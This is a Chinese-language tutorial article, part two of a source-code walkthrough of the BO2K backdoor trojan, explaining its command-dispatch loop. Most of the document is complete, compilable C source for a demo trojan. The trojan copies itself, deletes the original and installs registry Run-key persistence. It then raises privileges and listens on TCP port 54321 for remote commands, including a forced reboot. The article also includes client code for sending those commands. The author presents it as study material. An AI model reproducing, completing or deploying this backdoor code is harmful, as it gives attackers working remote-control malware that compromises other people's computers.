BO2k源码分析(二)----命令循环机制

类别:VC语言 点击:0 评论:0 推荐:

BO2K服务器命令循环机制原理
上期讲到BO2K服务器特洛伊木马的实现原理,即首先建立自身拷贝版,以自身全路径名为参数启动拷贝版,自身结束。拷贝版运行时首先删除原来的程序(根据传进来的参数删)。而后检查注册表,如果还没注册则注册拷贝版程序为系统启动时自启动。特洛伊木马过程完成。
 之后,接着初始化命令数组,建立侦听端口,进入命令循环。(这些都是Entrypoint()函数的工作)。这一期再来讲命令循环机制。
 注1:这一期的BODEMO有完整的特洛伊木马实现,还有一个完整的命令循环。不过,只做了两个命令,0号命令和1号命令。但对于演示命令循环原理我想是够了。0号命令会使服务器端机器重启动(已具黑客雏形了),1号命令会在服务器端机器弹出个MessageBox。
 注2:关于BODEMO的编译,任何WINDOWS的C编译器都能很容易的编译通过,无须任何设置,不过注意连上链接库wsock32.lib。如果用VC,创建一纯空的WIN32  APP,将下面所附代码粘贴过去即可。如果用LCC,编译结果只有10K大小。
  注3:这个BODEMO去掉了错误检查代码,因此离实用差了一大截。拿出来仅供学习用,希望诸君打好基础共同发展中国软件业。若有什么问题,mail  to:[email protected]

 话入正题,Entrypoint()执行过程如下:
1 初始化命令数组(command_handler_table),即分配一块内存存放命令,缺省情况最多可有1024个命令,初始化命令为NULL。
 每个命令的结构是这样的:命令ID号,一个函数指针,若干参数。因此,BO大体是这样执行的:侦听端口,接收客户数据包,从数据包中提取出命令ID和参数,根据ID到命令数组查找命令,执行命令指针所指函数,并向客户返回结果信息。BODEMO基本上就是这样的。不过,实际的BO2K中同时支持UDP和TCP,并支持数据包加密。因此,比这个过程复杂得多。下期的BO网络原理中我再来讲这些。
2 注册命令(RegisterNativeCommands()),这一步建立一个侦听SOCKET,登记命令函数到命令数组。BODEMO只登记了两个命令函数,仅作演示。有兴趣者可自己再写些命令函数。
3 进入命令循环(CommandHandlerLoop()),这一步侦听客户控制命令,分派命令。在BODEMO中,如果接收到0,则执行0号命令(重起机器),如果接收到1,则执行1号命令(空MessageBox())。
请注意这段代码中动态调整进程优先级,这和MFC之CWinThread::Run()有异曲同工之妙。

在客户端用如下一段代码即可给BODEMO发命令。
 SOCKET ss;
 ss = socket(AF_INET, SOCK_STREAM, 0);
 struct sockaddr_in  sa;  memset(&sa, 0, sizeof(struct sockaddr_in));
 sa.sin_family= AF_INET; sa.sin_port= htons(54321);
 sa.sin_addr.S_un.S_addr= inet_addr("xxx.xxx.xxx.xxx");  /*Server’s IP  address*/
 int ret = connect(ss,(const struct sockaddr *)&sa,sizeof(struct sockaddr_in));
 if(SOCKET_ERROR == ret)
 {  closesocket(ss); return ;  }
 int boPacket[10];
 boPacket[0] = 1;  /*Command ID, 0  or  1. */
 send(ss,(char *)boPacket,sizeof(int)*10,MSG_OOB);


附BODEMO源码:
//
#include <windows.h>
#include<winsock.h>

/******************global variable*******************************/
BOOL g_bIsWinNT;
/******************global variable*******************************/
void GetOSVersion(void);
int InitializeCommandDispatcher(void);
void InitializeCommands(void);
void TerminateCommands(void);
int KillCommandDispatcher(void);
void CommandHandlerLoop(void);

DWORD WINAPI EntryPoint(LPVOID lpParameter)
{
 InitializeCommandDispatcher();
   //Alloc memory for command_handler_table and
    //command_description_table
   //Initialize them as NULL 

 // Initialize commands
 InitializeCommands();

 // Do Primary Command Loop
 CommandHandlerLoop();
  
 // Kill plugins
 TerminateCommands();

 // Kill Command Dispatcher
 //Delete command_table memory
 KillCommandDispatcher();

 return 0;
}

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow )
{
 GetOSVersion(); 

 int nInstall=0;
 char *svRunRegKey;
 svRunRegKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
  
 // Check for file to delete
 //第一次运行BO2K时,BO会以自身全路径名作为参数启动BO拷贝版
 //BO拷贝版根据这个参数删除BO自身。
 //这段代码只有一次运行机会。
 char *svCmdLine=GetCommandLine();
 while(svCmdLine[0]!='\0')
 {
  svCmdLine++;
  if((*(svCmdLine-1))==' ') break;
 }
 if(svCmdLine[0]!='\0')  //找到了要删除的文件,删除之
 {
  while(DeleteFile(svCmdLine)==0)
  {
   if(GetLastError()==ERROR_FILE_NOT_FOUND) break;
   Sleep(100);
  }
 }
 
 // Get current module location
 char svFileName[512];
 char svTargetName[MAX_PATH];
 GetModuleFileName(GetModuleHandle(NULL),svFileName,512); 
 lstrcpy(svTargetName,"C:\\Bodemo.exe");
 
 // ----- 1: Check for installation ----- 
 if(GetFileAttributes(svTargetName) != 0xFFFFFFFF)
  nInstall=1;
 //
 if(nInstall == 0)  //还没安装BO..., 只在第一次运行BO时会出现此情况
 {
  // Make copy of file
  while(CopyFile(svFileName,svTargetName,FALSE)==0) Sleep(1000);
  
  //Set startup key
  //将BO注册为系统启动时自启动。
  HKEY key;
  if(g_bIsWinNT)
  {
   if(RegOpenKey(HKEY_CURRENT_USER,svRunRegKey,&key)==ERROR_SUCCESS)
   {
    RegSetValueEx(key,"Bodemo",0,REG_SZ,(BYTE *)svTargetName,
     lstrlen(svTargetName));
    RegCloseKey(key);  
   }
  }
  else
  {
   if(RegOpenKey(HKEY_LOCAL_MACHINE,svRunRegKey,&key)==ERROR_SUCCESS)
   {
    RegSetValueEx(key,"Bodemo",0,REG_SZ,(BYTE *)svTargetName,
     lstrlen(svTargetName));
    RegCloseKey(key);  
   }
  }

  // And now run the copy,
  //注意,以自身全路径名为参数启动BO拷贝版
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  char svComLine[2048];
  lstrcpyn(svComLine,svTargetName,2048);
  lstrcpyn(svComLine+lstrlen(svComLine)," ",2048-lstrlen(svComLine));
  lstrcpyn(svComLine+lstrlen(svComLine),svFileName,2048-lstrlen(svComLine));
  memset(&si,0,sizeof(STARTUPINFO));
  si.cb=sizeof(STARTUPINFO);
  si.dwFlags=STARTF_FORCEOFFFEEDBACK;
  CreateProcess(NULL,svComLine,NULL,NULL,0,0,NULL,NULL,&si,&pi);
 }
 else  //已安装BO...,除第一次运行BO外,都是这种情况。
 {
  // Enable permissions on Windows NT
  if(g_bIsWinNT)
  {
   HANDLE tok;  //调整权限,否则无重起机器权限
   if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&tok))
   {
    LUID luid;
    TOKEN_PRIVILEGES tp;
    LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&luid);
    tp.PrivilegeCount=1;
    tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    tp.Privileges[0].Luid=luid;
    AdjustTokenPrivileges(tok,FALSE,&tp,NULL,NULL,NULL);
   
    LookupPrivilegeValue(NULL,SE_SECURITY_NAME,&luid);
    tp.PrivilegeCount=1;
    tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    tp.Privileges[0].Luid=luid;
    AdjustTokenPrivileges(tok,FALSE,&tp,NULL,NULL,NULL);
    CloseHandle(tok);
   }
  }
  //进入命令循环
  EntryPoint(GetModuleHandle(NULL));
 }

 return 0;
}

// Determine Operating System Version
void GetOSVersion(void)
{
 OSVERSIONINFO osvi;

 osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
 
 if(GetVersionEx(&osvi)==FALSE) {
  MessageBox( HWND_DESKTOP, "Unable to get version info", "GetOSVersion()", MB_OK );
 }

 if(osvi.dwPlatformId==VER_PLATFORM_WIN32s) {
  MessageBox( HWND_DESKTOP, "This application does not run under WIN32s!", "Error", MB_OK );
 }
 
 if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT)
  g_bIsWinNT = 1;
 else
  g_bIsWinNT = 0;
}

/************Bo command process *****/ //本期重点所在
#define MAX_BO_COMMANDS   1024
typedef int (*BO_CMD_HANDLER)(SOCKET s,int comid, DWORD nArg1, char *svArg2, char *svArg3);
typedef struct {
 BOOL bNativeComm;
 char *svFolderName;
 char *svCommName;
 char *svArgDesc1;
 char *svArgDesc2;
 char *svArgDesc3;
} BO_CMD_DESC;

BO_CMD_HANDLER *command_handler_table=NULL;
BO_CMD_DESC *command_description_table=NULL;

HANDLE g_hDispatchMutex=NULL;
                                         
int InitializeCommandDispatcher(void)
{
 int i;

 command_handler_table=
  (BO_CMD_HANDLER *)malloc(sizeof(BO_CMD_HANDLER)*MAX_BO_COMMANDS);
 if(command_handler_table==NULL) return -1;
 command_description_table=(BO_CMD_DESC *)
  malloc(sizeof(BO_CMD_DESC)*MAX_BO_COMMANDS);
 if(command_description_table==NULL) return -1;
 for(i=0;i<MAX_BO_COMMANDS;i++)
  command_handler_table[i]=NULL;
 
 g_hDispatchMutex=CreateMutex(NULL,FALSE,NULL);
 if(g_hDispatchMutex==NULL) return -1;

 return 0;
}
//
static DWORD WINAPI MBThread(LPVOID parm)
{
 char *svText = (char *) parm;
 char *svMsg,*svTitle;

 svMsg=svText;
 svTitle=svText+lstrlen(svMsg)+1;

 MessageBox(GetDesktopWindow(),svMsg,svTitle,MB_OK | MB_SETFOREGROUND | MB_SYSTEMMODAL);
 free(parm);

 return 0;
}
int CmdProc_SysMessageBox(SOCKET s,int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
 char *ptr;
 int msglen;
 DWORD tid;

 msglen=lstrlen(svArg3)+lstrlen(svArg2)+2;
 ptr=(char *) malloc(msglen);
 lstrcpy(ptr,svArg3);
 lstrcpy(ptr+lstrlen(svArg3)+1,svArg2);
 
 CreateThread(NULL,0,MBThread,ptr,0,&tid);

 return 0;
}
int CmdProc_SysReboot(SOCKET s,int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
 BOOL bRet;
 bRet=ExitWindowsEx(EWX_FORCE| EWX_REBOOT, 0);
 return 0;
}
void RegisterNativeCommands()
{
 //RegisterNativeCommand(BO_SYSREBOOT,CmdProc_SysReboot);
 //RegisterNativeCommand(BO_SYSLOGKEYS,CmdProc_SysLogKeys);
 INT command = 0;
 command_handler_table[command]=CmdProc_SysReboot;
 command_description_table[command].svCommName="";
 command_description_table[command].svFolderName="";
 command_description_table[command].svArgDesc1="";
 command_description_table[command].svArgDesc2="";
 command_description_table[command].svArgDesc3="";
 command_description_table[command].bNativeComm=TRUE;
 //
 command++;
 command_handler_table[command]=CmdProc_SysMessageBox; 
 command_description_table[command].svCommName="";
 command_description_table[command].svFolderName="";
 command_description_table[command].svArgDesc1="";
 command_description_table[command].svArgDesc2="Bodemo";
 command_description_table[command].svArgDesc3="You are controlled by me";
 command_description_table[command].bNativeComm=TRUE;
}
//
SOCKET s;
void InitializeCommands(void)
{
 WSADATA wsaData;
 if(WSAStartup(MAKEWORD(1,1), &wsaData)!=0) return;
 
 // Register Native BO Commands
 RegisterNativeCommands();
 struct sockaddr_in  sa;
 memset(&sa,0,sizeof(struct sockaddr_in));;
 sa.sin_family= AF_INET;
 sa.sin_port= htons(54321);
 sa.sin_addr.S_un.S_addr=INADDR_ANY;
 if((s= socket(AF_INET, SOCK_STREAM, 0)) < 0)
  return;
 if(bind(s,(const struct sockaddr *)&sa,sizeof(struct sockaddr_in)) < 0)
 {
  closesocket(s);
  return ;                               /* bind address to socket */
 }
 listen(s,3);
}
int DispatchCommand(int command,SOCKET s, int comid, int nArg1,
     char *svArg2,char *svArg3);
void CommandHandlerLoop(void)
{
 BOOL bIdle=FALSE;
 struct sockaddr sa;
 memset(&sa,0,sizeof(struct sockaddr));
 int len = sizeof(struct sockaddr);
 int command,comid,nArg1;
 char *svArg2,*svArg3;
 char *boPacket;
 while(1)
 {
  if(!bIdle)
  {
   SetPriorityClass(GetCurrentProcess(),IDLE_PRIORITY_CLASS);
   SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_IDLE);
   bIdle=TRUE;
  }
  SOCKET acc=accept(s,&sa,&len);
  if(acc == INVALID_SOCKET)continue;
  if(bIdle)
  {
   SetPriorityClass(GetCurrentProcess(),NORMAL_PRIORITY_CLASS);
   SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_NORMAL);
   bIdle=FALSE;
   unsigned long ll;
   ioctlsocket(acc,FIONREAD,&ll);
   if(ll>0)
   {
    boPacket = (char*)malloc(ll+1);
    recv(acc,boPacket,ll,MSG_PEEK);
    int*p = (int *)boPacket;
    command=p[0];
    comid = 0;
    nArg1 = 0;
    svArg2="";
    svArg3="";
    DispatchCommand(command,acc,comid,nArg1,svArg2,svArg3);
    free(boPacket);
    closesocket(acc);
   }
   else
    closesocket(acc);
  }
  Sleep(20);
 } 
}
void TerminateCommands(void)
{
 closesocket(s);
 WSACleanup();
}

int KillCommandDispatcher(void)
{
 CloseHandle(g_hDispatchMutex);
 if(command_handler_table) free(command_handler_table); 
 if(command_description_table) free(command_description_table); 
 return 0;
}
int DispatchCommand(int command,SOCKET s, int comid, int nArg1, char *svArg2, char *svArg3)
{
 BO_CMD_HANDLER handler;
 if(command<0 || command >= MAX_BO_COMMANDS)return -1;
 int ret;
 
 if(WaitForSingleObject(g_hDispatchMutex,INFINITE)!=WAIT_OBJECT_0)
  return -1;
 handler=command_handler_table[command];
 if(handler==NULL)
 {
  ReleaseMutex(g_hDispatchMutex);
  return -1;
 }
 ret=handler(s, comid, nArg1, svArg2, svArg3);
 
 ReleaseMutex(g_hDispatchMutex);
 return ret;
}

本文地址:http://com.8s8s.com/it/it3698.htm